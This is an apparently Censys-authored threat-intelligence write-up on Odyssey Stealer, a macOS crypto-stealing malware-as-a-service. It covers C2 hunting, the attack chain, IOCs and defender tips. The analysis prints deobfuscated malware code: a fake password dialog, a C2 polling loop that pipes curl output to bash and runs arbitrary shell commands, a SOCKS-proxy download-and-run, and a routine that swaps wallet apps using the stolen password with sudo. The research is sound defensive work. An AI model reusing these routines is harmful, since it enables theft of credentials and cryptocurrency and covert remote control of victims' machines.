Odyssey Stealer: Inside a macOS Crypto-Stealing Operation

Research, Threat Intelligence

What Is Odyssey Stealer?

Odyssey Stealer is a macOS information stealer designed to steal cryptocurrencies. It operates as a Malware-as-a-Service (MaaS) platform with an affiliate-based model, meaning that the C2 infrastructure and admin panel are operated by a controlling group, while independent operators (affiliates) rent access in exchange for a share of the proceeds.

Often delivered via obfuscated AppleScript payloads, Odyssey Stealer searches for and exfiltrates credentials and tokens from installed software on the victim system.  

The Odyssey Stealer admin dashboard

The malware targets a wide range of cryptocurrency software: 203 browser wallet extensions and 18 desktop wallet applications, including MetaMask, Phantom, Electrum, Ledger Live, and Trezor Suite. It also replaces legitimate Ledger and Trezor apps with trojanized versions, allowing attackers to intercept credentials and transactions across nearly all common crypto user workflows.

Beyond credential theft, Odyssey operates as a full remote access trojan. A persistent LaunchDaemon polls the C2 every 60 seconds for commands, supporting arbitrary shell execution, reinfection, and a SOCKS5 proxy for tunneling traffic through victim machines.

The Affiliate Model

The centralized hosting claim isn’t speculation. The developer’s own forum posts confirm it.

A September 2023 post on the XSS forum by Rodrigo4 (the original developer) included a “MEGA FAQ” for potential customers. Translated from Russian:

  1. Crypto not needed
  2. MAAS (everything is hosted by us)
  3. No Google alerts
  4. Not detected by macOS
  5. Proxies, servers, etc. to work with the stealer are NOT needed

Rodrigo4’s advertisement on the XSS forum, September 2023. Price: $3,000/month, limited to 15 affiliates. Source: Georg Heise.

FAQ items 2 and 5 are explicit: the developers host all infrastructure. Affiliates don’t need their own servers. They get a login to the panel and run campaigns using the developer’s C2s.

How it works in practice:

The platform operators maintain the malware codebase, host the C2 servers and React admin panel, distribute shared tooling (like the socks proxy binary), and take a cut of proceeds.

Affiliates pay for panel access, run their own social engineering campaigns (phishing, malvertising, fake download sites), and get a unique username and build ID to track their victims. Payload distribution URLs follow the pattern /d/{affiliate}{campaign_id} (e.g., /d/roberto3403). Exfiltrated data is tagged with these identifiers, so each affiliate sees only their own bots and logs.

This matters for attribution. When we see campaigns from roberto, that’s not the Odyssey developers, it’s a customer running their own social engineering with rented infrastructure.

Evidence from our analysis:

  1. Unique affiliate IDs in payloads — Each build embeds an affiliate username and build ID
  2. Identical socks binary across all C2s — Same SHA256 hash everywhere, meaning single-source distribution
  3. ASN clustering — Consistent with centrally managed infrastructure
  4. Different trojanized app hashes per cluster — Affiliates compile their own using the panel’s builder
  5. Panel features — Per-affiliate filtering, separate Telegram channels, guest demo mode for sales

Discovery

We found Odyssey while looking into macOS malware campaigns going after crypto users. The C2 servers have a pretty distinctive React dashboard and consistent API endpoints that make them easy to fingerprint with Censys:

host.services.threats.name: "Odyssey Stealer" or web.threats.name: "Odyssey Stealer"
Odyssey Login Page in Censys Platform

From deobfuscating the AppleScript payloads (covered in the Payload Architecture section) we extracted the API endpoints the malware calls home to:

  • Payload distribution endpoints (/d/{affiliate}{digits})
  • Data exfiltration endpoint (/log)
  • Bot management API (/api/v1/bot/)
  • Trojanized asset distribution (/otherassets/)

Hunting Methodology

The fingerprint was built iteratively, starting from a single known C2 and expanding outward. The general process: 

  1. Find a confirmed sample
  2. Extract every stable signal from it
  3. Pivot on those signals across Censys to find new infrastructure
  4. Extract new signals from *those* hosts to catch future variants
  5. Repeat

Below is a list of common signals we analyzed while hunting for Odyssey deployments:

HTML meta tags

The easiest signal. Every Odyssey panel serves a React SPA with a distinctive <meta> description tag. Early panels used one string, then the developers rebranded:

<meta name="description" content="Odyssey - Advanced Dashboard">
<meta name="description" content="MacOS - Advanced Dashboard">

These are high-confidence, low-effort indicators, unlikely to appear on legitimate services, and trivial to query at scale. But they’re also trivial for the developers to change, so we don’t rely on them alone.

Body hashes

The panel’s HTML body is minimal (a React mount point, a JS bundle, and a CSS file), and every build produces a distinct SHA256 hash. As new C2s appeared, sometimes from OSINT reports, sometimes from our own pivoting, we collected each unique body hash and added it to the fingerprint:

f9d8248efdae...  ← earliest known panel (Apr 2025)
256dbbaa7ddd...  ← 5.199.166[.]102 variant
47ec204f9d77...  ← Jun 2025 build
d13d6b0bd835...  ← charge0x[.]at variant
ce64aa0b474a...  ← Jan 2026, original "Odyssey" branding
922bcd8c2f53...  ← Jan 2026, latest observed
...

Each hash corresponds to a specific JS/CSS bundle version. When the developers push a panel update, the body hash changes, so we continuously add new ones as they appear. This is the bulk of the fingerprint’s detection power.

Favicon hash

The panel ships a consistent favicon across most deployments. The MD5 hash (9108dde25ad958b27f6a97d644775dee) has remained stable across multiple panel versions and is a reliable pivot point even when the body changes.

Static asset paths

The React build produces chunked JS/CSS files with content hashes baked into the filenames (e.g., runtime.362a5e4f.js). These change with each build but are consistent across all deployments of the same version, making them useful as corroborating signals when the body hash hasn’t been catalogued yet.

How it played out:

In April 2025, @g0njxa posted about an Odyssey C2 at 88.214.50[.]3. We pulled it up in Censys and extracted three signals: a body hash (f9d8248e…), a favicon hash (9108dde2…), and a set of JS/CSS asset paths. That was the first version of the fingerprint.

We then queried Censys for those signals, and found that the host 5.199.166[.]102 returned a different body hash (256dbbaa…) but the same favicon and same asset paths. This appeared to be a newer iteration of the panel, deployed on separate infrastructure.

We then added the second body hash, and now the fingerprint matched both. @NullPwner independently confirmed 5.199.166[.]102 around the same time, and @MarceloRivero confirmed yet another C2 at 185.147.124[.]212 with the same body hash as the original.

Over the next few months, @500mk500 surfaced two more C2s (including charge0x[.]at), each with new body hashes. From here we do the same thing: scan, extract, add, re-query.

Then in late 2025, @suyog41 flagged 217.119.139[.]117, which had a completely different panel build: new body hash (ce64aa0b…), new JS bundle paths, and the original “Odyssey – Advanced Dashboard” meta tag. We confirmed the match in Censys and added the new body hash, meta tag, and asset paths to the fingerprint.

Finally, in January 2026, @suyog41 posted another C2 at 213.209.159[.]175, which had yet another new body hash and a new HTML meta tag: “MacOS – Advanced Dashboard.” It seems as if the developers had dropped the term “Odyssey” in favor of something more generic. Caught immediately by the expanded fingerprint, and we added the updated meta tag.

This is how the fingerprint grew from matching a single host to covering the full fleet. MaaS panels are mass-deployed software. The developers ship the same codebase to every affiliate, so one fingerprint catches them all.

Censys Perspective

Using Censys, we identified 10 physical hosts running Odyssey Stealer C2 infrastructure:

Physical Infrastructure

IP AddressCountryASNBGP PrefixStatusNotes
62.60.131[.]230NetherlandsAS208137 (FPS12)62.60.131.0/24ActiveHosts something0x[.]at
62.60.131[.]250NetherlandsAS208137 (FPS12)62.60.131.0/24ActiveHosts charge0x[.]at
5.199.166[.]102SingaporeAS216444 (CHERRYSERVERS4-AS)5.199.164.0/22ActiveStandalone C2
77.90.185[.]24LithuaniaAS215476 (INSIDENETWORK)77.90.185.0/24ActiveStandalone C2, no associated domain
185.11.61[.]84RussiaAS57523 (CHANGWAY-AS)185.11.61.0/24ActiveBulletproof hosting, no associated domain
217.119.139[.]117RussiaAS209290 (GALEON-AS)217.119.139.0/24DownOriginal “Odyssey” branding, observed Oct 2025–Jan 2026
185.93.89[.]62NetherlandsAS213790 (LIMITEDNETWORK-AS)185.93.89.0/24DownSep–Oct 2025
185.93.89[.]63NetherlandsAS213790 (LIMITEDNETWORK-AS)185.93.89.0/24DownHosted charge0x[.]at and sdojifsfiudgigfiv[.]to, Sep–Oct 2025
45.146.130[.]129NetherlandsAS213790 (LIMITEDNETWORK-AS)45.146.130.0/24DownHosted sdojifsfiudgigfiv[.]to, Jul 2025
213.209.159[.]175GermanyAS208137 (FPS12)213.209.159.0/24DownOriginal C2

Virtual Hosts

DomainCurrent ResolutionPrevious ResolutionNotes
something0x[.]at62.60.131[.]230Primary affiliate domain
charge0x[.]at62.60.131[.]250185.93.89[.]63 (Sep–Oct 2025)Migrated to current IP
sdojifsfiudgigfiv[.]to45.146.130[.]129 (Jul 2025), 185.93.89[.]63 (Aug–Sep 2025)Randomized domain, no longer resolving

 

Infrastructure Notes

A few things stand out:

  • Same ASN: Three of the ten IPs (62.60.131[.]230, 62.60.131[.]250, 213.209.159[.]175) are on AS208137 (FPS12). Two of those are in the same /24 subnet. Three earlier hosts (185.93.89[.]62, 185.93.89[.]63, 45.146.130[.]129) are all on AS213790 (LIMITEDNETWORK-AS).
  • Domain naming pattern: The two active domains follow {word}0x[.]at format. The .at TLD (Austria) is popular with Eastern European actors: cheap, easy registration, decent privacy. The earlier sdojifsfiudgigfiv[.]to is a randomized string on a .to TLD, a different approach.
  • Geographic spread: Two ASN clusters account for six of the ten hosts: AS208137 (FPS12) in Netherlands/Germany, and AS213790 (LIMITEDNETWORK-AS) in Netherlands (all three geolocated to Kerkrade). The remaining four are each on separate ASNs: Singapore (CHERRYSERVERS4-AS), Lithuania (INSIDENETWORK), and two in Russia (CHANGWAY-AS, GALEON-AS).
  • Bulletproof hosting: 185.11.61[.]84 is hosted on Chang Way Technologies (AS57523), a known bulletproof provider. This is the only C2 with that label.
  • Russian infrastructure: Both Russia-based C2s (185.11.61[.]84 and 217.119.139[.]117) are in the Moscow region but on different ASNs and providers. 217.119.139[.]117 used the original “Odyssey” branding before the panel was renamed to the more generic “MacOS – Advanced Dashboard.”

Attack Flow

Full attack chain from social engineering to persistent access.

When a victim gets tricked into running an Odyssey payload:

  1. Social engineering: Victim clicks a malicious link (phishing, malvertising, etc.)
  2. Fetch payload: Browser downloads the .sh or .app dropper from the C2
  3. Execute AppleScript: The obfuscated AppleScript payload runs
  4. Steal password: A fake dialog tricks the user into entering their macOS password
  5. Collect data: Browser data, crypto wallets, Keychain, Notes, and files are harvested
  6. Exfiltrate ZIP: Data is zipped and sent to the C2 via POST to /log
  7. Replace apps: Legitimate Ledger/Trezor apps are swapped with trojanized versions
  8. Install persistence: A LaunchDaemon is installed for persistent access
  9. RAT loop: The backdoor polls the C2 for commands every 60 seconds (repeat, doshell, enablesocks5, uninstall)

Payload Architecture

Most stealers use a single payload. Odyssey doesn’t. It’s built in stages, each doing one thing. This makes analysis more annoying and lets operators swap out components without touching the whole chain.

Multi-stage payload flow showing data written to disk.

Stage 1: The Initial Dropper

The main payload is obfuscated AppleScript wrapped in a shell script.

Obfuscation Technique:

The obfuscation is basic, nested run script wrappers with string concatenation:

osascript -e 'run script "run script \"\" & return & \"on f3368611526666962209(p6418423763347269161)\" & return & ...'

It boils down to:

  1. Numeric identifiers – Functions like f3368611526666962209, variables like v6301638877895670376
  2. String concatenation – Code split across & return & patterns
  3. Escaped quotes – Multiple levels of quote escaping

After deobfuscation, function purposes become clear:

ObfuscatedDeobfuscatedPurpose
f3368611526666962209createDirectoryCreates directories
f3710585037511115028readFileContentsReads file contents
f1960892849977114696showPasswordDialogSteals credentials
f5509656457511387373collectBrowserDataChromium data theft
f1496211477024444793collectGeckoBrowsersFirefox data theft
f7008360262615935361installPersistenceLaunchDaemon installation
f2460548584846272589sendToC2Data exfiltration

Configuration Extraction:

The dropper contains hardcoded configuration values:

set v8415670455225142140 to (system attribute "USER")
set v4007376042111543693 to "admin"                    -- affiliate username
set v1405640549830568282 to "https://something0x[.]at"    -- C2 server
set v2712838052644604950 to "true"                     -- repeat flag

From the payloads, we extracted:

Fieldroberto Sampleadmin Sample
Affiliaterobertoadmin
Build IDaf2ddda1708144e998153bc0e916b77fxxxblyat
C2 Serverhttps://213.209.159[.]175https://something0x[.]at
Extensions203203
Wallets1818

The Password Dialog:

This is the social engineering part. The dialog looks legitimate enough that most users would just enter their password:

set dialogResult to display dialog "Required Application Helper. Please enter device password to continue." 
    default answer "" 
    with icon caution 
    buttons {"Continue"} 
    default button "Continue" 
    giving up after 150 
    with title "Application wants to install helper" 
    with hidden answer

The password is validated against the system using dscl . authonly and then used for:

  1. Extracting Chrome’s master password from Keychain
  2. Installing the LaunchDaemon (requires sudo)
  3. Replacing Ledger/Trezor applications (requires sudo)

Stage 2: The Persistence Payload

The dropper installs a minimal RAT as a LaunchDaemon. The persistence payload reads the C2 from disk instead of hardcoding it. This means the RAT itself has no IOCs. Static analysis won’t find the C2 URL because it’s not there.

set c2_host to readFileContentsrepeat
    set actions to sendToC2(c2_host, bot_id)
    if actions is equal to "not" then
        uninstallSelf(home_path)
        return
    end if
    
    set action_id to item 1 of actions
    set command_type to item 2 of actions
    set command_payload to item 3 of actions
    
    if command_type is equal to "uninstall" then
        uninstallSelf(home_path)
        return
    end if
    
    if command_type is equal to "repeat" then
        -- Fetch and execute reinfection script
        do shell script "curl -s " & c2_host & "/api/v1/bot/repeat/" & username & " | bash &"
    end if
    
    if command_type is equal to "doshell" then
        do shell script command_payload
    end if
    
    if command_type is equal to "enablesocks5" then
        -- Download and execute SOCKS proxy
        do shell script "curl -o /tmp/socks " & c2_host & "/otherassets/socks"
        do shell script "chmod +x /tmp/socks"
        do shell script "/tmp/socks > /dev/null 2>&1 & disown"
    end if
    
    delay 60
end repeat

Stage 3: The SOCKS5 Proxy

The socks binary is a Go-compiled universal Mach-O using yamux for connection pooling.

PropertyValue
SHA256d254125912d9e9e5c271766bc4f6eea0c296ad2c0cf19d4bd57081d1bf10f044
Size4,982,928 bytes
ArchitectureUniversal (x86_64 + arm64)
CompilerGo 1.x

Observed Affiliates

AffiliateBuild IDC2Campaigns
robertoaf2ddda1…213.209.159[.]175roberto3403, roberto4603, roberto5446, roberto7031
adminxxxblyatsomething0x[.]at(test?)

Key observations from string analysis:

github.com/hashicorp/yamux     -- Multiplexing library
github.com/armon/go-socks5     -- SOCKS5 implementation
/.chost                        -- Reads C2 from this file
/.botid                        -- Reads bot ID from this file

The binary is identical across all C2 servers (d254125912d9e9…), same hash everywhere. This tells us it’s probably built once by the panel developers and distributed to all affiliates. The trojanized apps, on the other hand, have different hashes per cluster, which suggests affiliates are building those themselves.

Trojanized Applications

The trojanized Ledger/Trezor apps aren’t full application clones. They’re minimal SwiftUI WebKit containers, just shells that load remote content:

<!-- Info.plist -->
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>  <!-- Allows HTTP connections -->
</dict>

Analysis with otool reveals:

/System/Library/Frameworks/SwiftUI.framework/SwiftUI
/System/Library/Frameworks/WebKit.framework/WebKit
/System/Library/Frameworks/AppKit.framework/AppKit

So they’re not trying to replicate the full Ledger/Trezor functionality. They’re just loaders that:

  1. Display a WebView pointing to attacker-controlled content
  2. Harvest whatever credentials get entered
  3. Look legit enough that users won’t immediately notice

Two Distinct Build Clusters:

We found two sets of trojanized apps with different hashes but identical sizes, which is telling:

ClusterServersExecutable Hash (Ledger Live)
A62.60.131[.]230, something0x[.]at493e0c4ad909df1755bb62…
B62.60.131[.]250, charge0x[.]ate4aa990fdc7f074e765c2c…

String diff shows minimal differences, probably just compilation timestamps. Could mean:

  • Different affiliates compiling their own builds
  • A/B testing
  • Or just different campaign phasesApp Replacement Mechanics

After the initial infection, the dropper replaces legitimate Ledger and Trezor applications with trojanized versions:

on replaceWalletApp(home_path, password, c2_url, app_name, zip_file)
    try
        set app_path to "/Applications/" & app_name & ".app"
        set temp_path to "/tmp/" & zip_file
        set download_url to c2_url & "/otherassets/" & zip_file
        
        -- Check if legitimate app exists
        list folder POSIX file app_path
        
        -- Download trojanized version
        do shell script "curl " & quoted form of download_url & " -o " & quoted form of temp_path
        
        -- Kill running app
        try
            do shell script "pkill " & quoted form of app_name
        end try
        
        -- Remove original and extract fake
        do shell script "echo " & quoted form of password & " | sudo -S rm -r " & quoted form of app_path
        delay 0.01
        do shell script "ditto -x -k " & quoted form of temp_path & " /Applications"
    end try
end replaceWalletApp

This replacement only happens if:

  1. The legitimate app exists in /Applications/
  2. The victim’s password was successfully captured
  3. The C2 server is reachable

The trojanized apps are ad-hoc signed (not notarized), so they’ll trigger Gatekeeper warnings. But since they’re replacing apps the user already trusted, most people will just click through.

The trojanized Ledger Live app showing ad-hoc signature with no signing authorities.

Capabilities

Data Theft

Browser Data (Chromium-based):

  • Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Arc, CocCoc
  • Cookies, saved passwords (Login Data), form data (Web Data)
  • Crypto wallet extension data (Local Extension Settings, IndexedDB)

Browser Data (Gecko-based):

  • Firefox, Waterfox
  • cookies.sqlite, logins.json, key4.db, formhistory.sqlite
  • MetaMask extension data from Firefox profiles

Crypto Wallet Extensions (203 targeted):

Some of the bigger names:

  • nkbihfbeogaeaoehlefnkodbefgpgknn – MetaMask
  • bfnaelmomeimhlpmgjnjophhpkkoljpa – Phantom
  • hnfanknocfeofbddgcijnmhnfnkdnaad – Coinbase Wallet
  • ibnejdfjmmkpcnlpebklmnkoeoihofec – TronLink
  • fnjhmkhhmkbjkkabndcnnogagogbneec – Ronin Wallet

Desktop Wallets (18 targeted):

WalletPath
Electrum~/.electrum/wallets/
Exodus~/Library/Application Support/Exodus/
Atomic~/Library/Application Support/atomic/Local Storage/leveldb/
Ledger Live~/Library/Application Support/Ledger Live/
Trezor Suite~/Library/Application Support/@trezor/suite-desktop/
Bitcoin Core~/Library/Application Support/Bitcoin/wallets/
Monero~/Monero/wallets/
Wasabi~/.walletwasabi/client/Wallets/
Sparrow~/.sparrow/wallets/

Other Data:

  • Apple Notes – NoteStore.sqlite database and media attachments
  • Safari – Cookies, form autofill data
  • Keychain – Full Keychain database (login.keychain-db)
  • Telegram – Session data from Telegram Desktop
  • Desktop/Documents – Files matching configured extensions (up to 10MB)

Credential Theft

The macOS password is the key to everything else. A fake system dialog (shown in the Payload Architecture section) tricks the user into entering it. The password is validated using dscl . authonly and then used to extract the Chrome master password from Keychain install persistence, and replace legitimate applications.

Persistence

Persistence is achieved via LaunchDaemon:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.{random_id}</string>
    <key>KeepAlive</key>
    <true/>
    <key>RunAtLoad</key>
    <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>osascript -e '...'</string>
    </array>
</dict>
</plist>

The LaunchDaemon:

  • Uses a randomized service name (com.{10000-100000})
  • Runs at system boot with KeepAlive
  • Executes an osascript command that polls the C2

RAT Functionality

The persistence payload implements a command-and-control loop:

CommandAction
repeatFetches and executes /api/v1/bot/repeat/{username} script
doshellExecutes arbitrary shell command
enablesocks5Downloads and runs SOCKS5 proxy
uninstallWrites ~/.uninstalled and exits

Commands are polled from /api/v1/bot/actions/{botid} every 60 seconds. The response format is 3 lines:

  1. Action ID
  2. Command type
  3. Command payload (for doshell)

C2 Protocol

Endpoint Documentation

EndpointMethodPurpose
/d/{affiliate}{digits}GETPayload distribution
/logPOSTData exfiltration
/api/v1/bot/joinsystem/{user}/{os}GETBot registration
/api/v1/bot/actions/{botid}GETCommand polling
/api/v1/bot/repeat/{user}GETReinfection script
/otherassets/{file}GETTrojanized apps, SOCKS proxy

Bot Registration

GET /api/v1/bot/joinsystem/roberto/14.2.1
Response: abc123-def456-...  (bot ID)

Command Polling

GET /api/v1/bot/actions/abc123-def456
Response:
action_id_123
doshell
whoami

Data Exfiltration

POST /log
Headers:
  buildid: af2ddda1708144e998153bc0e916b77f
  username: roberto
  repeat: false
  cid: 
Body: [ZIP file containing stolen data]

Dashboard Features

The admin panel is a React SPA with Framer Motion for animations. From the JavaScript bundles, here’s what operators get:

Builder

The builder interface for configuring payloads.

Build types:

  • unix – Effective up to macOS 14
  • .app – Effective from macOS 15+
  • Command – For ClickFix campaigns

Options:

  • Custom icon (.icns)
  • Password dialog customization
  • Telegram notification integration
  • FileGrabber with custom extensions
  • Browser history collection
  • Synthetic error display after execution

Bot Management

  • View all infected machines
  • Actions: shell commands, reinfection, enable SOCKS, persistence, delete
  • Filter by IP, macOS version, country
  • SOCKS5 proxy management

Log Viewer

The log viewer showing exfiltrated data.
  • Filter by date range, country, domains, wallets, build tags
  • “Valuable domains” detection (PayPal, Coinbase, Binance, etc.)
  • Download logs with or without wallet data
  • Balance tracking for crypto wallets

Settings

Configuration panel for Telegram notifications and other options.
  • Telegram bot token and chat IDs
  • Separate chat for crypto findings
  • Separate chat for Ledger seed imports
  • Cryptochecker integration
  • Anti-duplicate settings

Lineage: AMOS → Poseidon → Odyssey

Odyssey isn’t original work. It’s a direct rebrand of Poseidon Stealer, which itself was forked from Atomic macOS Stealer (AMOS). This lineage is well-documented through underground forum activity and open-source reporting.

Developer History

The developer behind Poseidon (and by extension, Odyssey) is known as Rodrigo4 on the XSS forum:

DateEvent
Mid 2023Rodrigo works on Atomic macOS Stealer (AMOS) under lead developer Ping3r
Sep 2023Rodrigo posts on XSS forum advertising the stealer at $3,000/month, 15 slots
Early 2024Rodrigo leaves AMOS, allegedly taking source code
Mar 2024Public feud on XSS — Ping3r accuses Rodrigo of blackmail and defamation
Mid 2024Rodrigo launches Poseidon Stealer as competing MaaS product (announced in V4 update)
Aug 2024Rodrigo sells the Poseidon platform to an unknown buyer and exits
Mid 2025New operators rebrand Poseidon to Odyssey Stealer

The V4 announcement on XSS explicitly named the project “Poseidon” for the first time, stating (translated from Russian): “The first thing that stands out — the project now has a name: Poseidon. Why? For PR management. Simply put — people didn’t know who we are.”

Code Overlap

The shared lineage explains the technical overlap we observe:

  • AppleScript-based delivery — Inherited from AMOS
  • Browser targeting — Nearly identical path lists across all three families
  • Wallet extension targeting — Same extension ID lists
  • Keychain theft — Same technique for extracting Chrome master password
  • LaunchDaemon persistence — Similar plist structure
  • Trojanized apps — Ledger/Trezor replacement pattern shared with Poseidon

Attribution Hints

Language and Origin

Multiple indicators point to Russian-speaking developers:

  1. XSS forum presence — Rodrigo4 operated on XSS, a Russian-language cybercrime forum. All posts are in Russian.
  2. Dashboard translations — The admin panel includes both English and Russian
  3. Variable naming — The build ID xxxblyat in one sample references a Russian expletive
  4. Forum advertisement — The $3,000/month listing and V4 “Poseidon” announcement were posted entirely in Russian

Current Operators

Rodrigo sold the platform in August 2024. The current operators are unknown. The infrastructure we observe (AS208137, .at domains) may reflect the buyer’s choices rather than Rodrigo’s original setup.

IOCs

Network Indicators

C2 Servers:

213.209.159[.]175
62.60.131[.]230
62.60.131[.]250
5.199.166[.]102
77.90.185[.]24
185.11.61[.]84
217.119.139[.]117
185.93.89[.]62
185.93.89[.]63
45.146.130[.]129
charge0x[.]at
something0x[.]at
sdojifsfiudgigfiv[.]to

API Endpoints:

/d/{affiliate}{digits}
/log
/api/v1/bot/joinsystem/
/api/v1/bot/actions/
/api/v1/bot/repeat/
/otherassets/

File Indicators

Trojanized Apps (Cluster A – 62.60.131[.]230, something0x[.]at):

FileSHA256
ledger.zip9717c436a934c556b2dae87e0ce269e22dd10e1099f38b9c9d0cba47a7f9bcb8
ledgerwallet.zip1cd1e1a990430d6f968f3e99bffc30707f2dbe7936ca48a71710797adbf3e97e
trezor.zip09147da1add9608480db279bb7e1db59ed9e1b8360ead2fab53eb4ce03fa1dcc
Ledger Live (executable)493e0c4ad909df1755bb62ebc4b6491d827d8ed381d1468fc15accd3191cb398
Ledger Wallet (executable)714843b753bf2e01f5bac14614f3c63b17ec922e3026326208ee5d7d741b1a2b
Trezor Suite (executable)c785aa21c2165b8b13bdad4f015213f821b60658e276eb78dfbbfaf116753c82

Trojanized Apps (Cluster B – 62.60.131[.]250, charge0x[.]at):

FileSHA256
ledger.zip71a065da58455e0fab8ecef1ee4f8a94d93cd9af440f66f81976870ca86f3f82
ledgerwallet.zip47a3118defd96dbb729a42df5d7359db672a083c553be56b47551a56f8b04088
trezor.zip593f92db40e06da10823bdb2dad4b7ae23eee2a68d943496704bdd81add0ba5f
Ledger Live (executable)e4aa990fdc7f074e765c2c4dde55c812d5f23f53acda9dc1fe1fb2359bcf37bf
Ledger Wallet (executable)6c31b4a6bf623f7d9a213a808cfe821a6b4175333f4dac045530c61ffd3b8dcf
Trezor Suite (executable)77265bc63326115cbb165ee08b686720155c4065ab93494cba1816c5ca8a2d2d

Shared Binary (all servers):

FileSHA256
socksd254125912d9e9e5c271766bc4f6eea0c296ad2c0cf19d4bd57081d1bf10f044

Build IDs:

af2ddda1708144e998153bc0e916b77f    (roberto)
xxxblyat                            (admin/test)

Affiliate Usernames:

roberto     (campaigns: roberto3403, roberto4603, roberto5446, roberto7031)
admin       (test affiliate?)

 

Behavioral Indicators

File Paths:

~/.botid
~/.chost
~/.pwd
~/.username
~/.lastaction
~/.uninstalled
/Library/LaunchDaemons/com.{5-digit-number}.plist

Process Patterns:

  • osascript executing long encoded commands
  • curl with buildid and username headers
  • LaunchDaemon with randomized com.{number} label

Detection and Mitigation

For Defenders

  1. Watch for weird osascript usage – Long base64 or obfuscated commands are a red flag
  2. Check your LaunchDaemons – Look for com.{random-numbers} patterns that don’t match any real apps
  3. Network monitoring – Block the C2 domains/IPs, and watch for POST requests to /log
  4. Verify app signatures – If Ledger Live or Trezor Suite suddenly aren’t signed properly, that’s a problem
  5. User training – Teach people to be suspicious of password prompts during app installs

Takeaways

Odyssey is a macOS stealer focused on crypto theft. A few things stood out:

  1. Broad targeting – 203 wallet extensions and 18 desktop wallets covers most of the crypto ecosystem.
  2. App replacement is the real risk – Swapping legit Ledger/Trezor apps for trojanized versions targets high-value users who rely on hardware wallets.
  3. It’s not just a stealer – The RAT loop with SOCKS proxy support means they can maintain access long after the initial data grab.
  4. This is a business – The affiliate model (platform author + independent operators with their own campaigns), polished dashboard, and multiple operators all point to a commercial operation.
  5. Family resemblance – The code overlap with Atomic and Poseidon Stealer suggests either shared developers or code reuse between groups.

References

A young man with blonde hair wearing a blue shirt outdoors with greenery and pink blossoms in the background.
AUTHOR
Aidan Holland
Senior Security Researcher

Aidan Holland is a cybersecurity researcher and software engineer at Censys, where he specializes in threat intelligence and internet-wide security research. His work focuses on identifying and analyzing malicious infrastructure, tracking threat actors, and developing tools for security analysis at scale. Aidan is an active contributor to the open source security community, building and maintaining tools for threat hunting, data analysis, and security automation.

Subscribe to our blog